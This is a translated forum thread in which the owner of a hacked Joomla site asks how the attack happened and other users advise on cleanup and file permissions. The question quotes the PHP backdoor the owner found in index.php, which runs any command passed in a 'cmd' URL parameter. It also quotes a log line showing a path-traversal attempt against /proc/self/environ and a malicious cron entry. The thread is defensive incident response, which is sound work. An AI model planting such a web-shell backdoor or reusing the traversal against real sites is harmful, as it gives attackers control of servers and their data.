Сайт взломан с помощью? Cmd=ls
Сайт Joomla, на котором я работаю, был взломан на днях. Хакер сбросил некоторые файлы в каталог tmp и каким-то образом запустил там HTTP-демон (по крайней мере, так сказал мне мой хост). Во всяком случае, я пытался очистить файлы, которые они оставили, и защитить то, что я могу, но при проверке моих журналов я заметил попадание в www.domain.com/?cmd=ls, Мне это показалось странным, поэтому я попробовал... и вот в нем перечислены все файлы в корневом каталоге моего сайта. Может кто-нибудь объяснить мне, почему это происходит и как я могу это остановить? Это похоже на огромный подвиг, который я хотел бы немедленно устранить.
Обновление: при копании я заметил несколько дополнительных строк, добавленных в мой Joomla index.php:
if ($_GET['cmd']!=null) {
system($_GET['cmd']);
}
Я удалил их, но мне любопытно узнать, как злоумышленнику удалось отредактировать их для начала. Не совсем уверен, где искать, чтобы убедиться, что я закрыл задние двери.
Дополнительные обновления: Прежде всего позвольте мне сказать, что да, я понимаю, что правильный путь действий здесь - это взорвать сайт и восстановить его из резервной копии. Однако я предпочел бы оставить это в качестве крайней меры, так как (а) это сайт, который зависит от взносов сообщества, и мои резервные копии не так уж недавние (моя вина, я знаю) и (б) я работаю над новым версия, которая должна быть готова в ближайшее время. Но так как мне кажется, что я получаю некоторую помощь здесь, я добавлю некоторые другие вещи, которые я нашел / сделал в попытке исправить эту ситуацию.
Нашел какой-то каталог.kin (или что-то в этом роде - не запомнил и не удалил его сразу) в моей папке / tmp, из которой явно запускался этот демон http. Я предполагаю, что gunzip (упомянутый ниже) был, как это было размещено здесь.
В моих файлах error_log я обнаружил следующие подозрительные записи ("..." - это моя попытка удалить путь / имена файлов из этого поста):
[04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24
[05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92
[04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719
Я обновил компонент CKForms (который был указан как имеющий известный эксплойт с версией, которую я запускал), а также другой компонент, указанный в сообщении HTTP_USER_AGENT.
В журналах статистики я обнаружил, что один и тот же IP-адрес дважды пытался использовать? Cmd = ls, поэтому я заблокировал этот IP-адрес (где-то в Индонезии).
Я обновил мою версию Joomla до последней версии.
В моем корне я обнаружил файлы system.ph и system.php, в которых была строка в кодировке gunzip/base64, которую я удалил.
Я просмотрел все каталоги в установке, где недавно была указана временная метка, чтобы увидеть, существуют ли какие-либо ненормальные файлы.
Удалено задание cron, указывающее на.../tmp/.kin/up2you >/dev/null 2>&1
Кроме того, я был бы обеспокоен тем, что даже если бы я восстановил из резервной копии, какой бы использованный эксплойт не существовал, так что основная причина и предотвращение - вот, что я собираюсь сделать.
4 ответа
Я категорически не согласен с утверждением Криса С. о том, что все файлы / каталоги должны принадлежать пользователю root. Есть причина для системы разрешений Unix.
Существует два основных способа запуска Apache/PHP. Один из них - запустить его как пользователь www-данных и иметь файлы, принадлежащие некорневому имени пользователя. Apache работает как учетная запись с низкими привилегиями и должен иметь доступ к определенным каталогам / файлам для записи в них. Вот почему Joomla имеет слой ftp, чтобы компенсировать это. Однако в среде с общим сервером тот факт, что все файлы должны быть доступны для чтения всем пользователям, делает файлы конфигурации для других сайтов на этом компьютере легко читаемыми.
Другой способ - запустить Apache с PHP, использующим suPHP, что предпочитает CPanel. В этом случае Apache работает как пользователь с низкими привилегиями, но все запросы PHP передаются сценарию, который меняет владельца на имя пользователя, которому принадлежат файлы. Хотя теперь вы можете использовать разрешения Unix, чтобы запретить другим мошенническим сценариям на компьютере просматривать ваши каталоги, любой скомпрометированный сценарий PHP можно запускать как ваше имя пользователя и, как следствие, изменять / удалять любые файлы, принадлежащие вашему имени пользователя.
Поскольку вы плохо разбираетесь в безопасности сервера, поиск хорошо скрытых руткитов и т. Д. На компьютере не будет веселой задачей. Во-первых, вам нужно знать, работало ли ядро (если вы не используете новейшее ядро, ответ здесь - да), и было ли что-нибудь затронуто. Этот конкретный взлом обычно происходит через скомпрометированную учетную запись FTP, после чего они могут выполнять сценарии. Поскольку вы нашли этот код, он также предполагает, что "хакер", использующий его, был не очень сложным. Есть много способов, которыми он мог скрыть этот код и помешать вашим журналам увидеть, что он делал.
моджах правильный. Как только они входят в систему, они пытаются запустить скрипт из /dev/shm/.something или /tmp, который подключается к их сети IRC, или выступает в роли загрузочного бота в подсети или другой конкурирующей сети. Скорее всего, вы найдете один или два запущенных сценария, возможно, запись cron для его перезапуска, а также другие удаленные оболочки, скрытые в вашей установке Joomla. Найдите файлы в каталоге /uploads или /images с именами, похожими на существующие файлы. т.е. img_1034.jpg.php. Обычно они прячут своего irc-бота в нескольких местах, недоступных через Интернет, чтобы вы не наткнулись на них при входе в систему, но будут хранить свои удаленные оболочки в местах, чтобы они могли вернуться и запустить их заново. сценарий и подключить его к своей сети.
В любом случае, задача, с которой вы столкнулись, несколько сложна. У вас есть сайт, который вам нужен, чтобы оставаться в сети, вам не хватает опыта работы с этими ситуациями, и вы просто хотите, чтобы ваш сайт работал.
Сделайте дамп своей базы данных с помощью функции экспорта Joomla, убедитесь, что это полный дамп. Создайте второй сайт и импортируйте дамп, чтобы проверить это. Как только вы убедитесь, что у вас есть хороший, импортируемый дамп, сделайте резервную копию сайта. Удалите все файлы, переустановите Joomla, начальную установку, используйте информацию о существующем соединении MySQL - он может подумать, что вы обновляетесь, и в этом случае разрешите его обновить. Если вы где-то используете VPS, возможно, попросите их передать вам новый образ и переустановить.
Ваш сервер крайне небезопасен, вероятно, в результате взлома. Это должно быть отключено как можно скорее.
На данный момент лучший способ действий - это очистить его, восстановить из резервной копии и убедиться, что он защищен. У вас почти не будет возможности быть уверенным, что вы избавились от хакера / вируса / и т. Д., Если вы не уничтожите его.
Я согласен с Крисом С. Ты слишком эксплуатируется. Вам нужно стереть и восстановить из резервной копии. И на этот раз, прежде чем вы начнете жить, вы должны быть предельно осторожны с вашими разрешениями на запись и выполнение.
Как только злоумышленник получит доступ на системном уровне, вы больше не сможете доверять своему коду.
Разрешения на каталоги ОГРОМНЫ. Это не может быть подчеркнуто достаточно. Они загрузили код на ваш сайт с помощью эксплойта, но это можно сделать только в том случае, если ваш код может записывать в локальные каталоги. Если это невозможно, или если локальные каталоги, в которые он МОЖЕТ записать, не могут быть интерпретированы или использованы для размещения исполняемого кода, то ущерб, который может быть нанесен, чрезвычайно ограничен.
Я рекомендую удалять разрешения на запись везде, где только можно, даже с правами root. В любом случае, единственное, что должно быть доступно для записи - это каталоги загрузки и любой каталог, в котором хранятся ваши файлы сеанса. Если вы не разрешаете выгрузку, тогда должен быть заблокирован только каталог сессионного файла, и тот, который вы можете сделать.
Вы также должны запускать регулярные проверки целостности файлов. К сожалению, это не так просто, если у вас нет полного доступа к серверу. Тем не менее, вы можете скачать сайт и регулярно сравнивать его с резервной копией. В идеале вы должны иметь возможность в любое время перезаписать весь сайт из резервной копии, и никто не заметит разницы.
Как вы сказали, человек / группа, ответственные за взлом вашего сервера, оставили веб-сервер, настроенный под его нужды (также называемый Shellbot, обычно написанный на Perl/Python). Это пользовательский веб-интерфейс, разработанный для предоставления пользовательских команд через простые параметры.
Ls является основным и, относительно, безвредным. Вероятно, он также использовался для запуска других, более опасных команд.
Если это Linux, попробуйте посмотреть, какие процессы выполняются с помощью lsof (lsof -i tcp:80).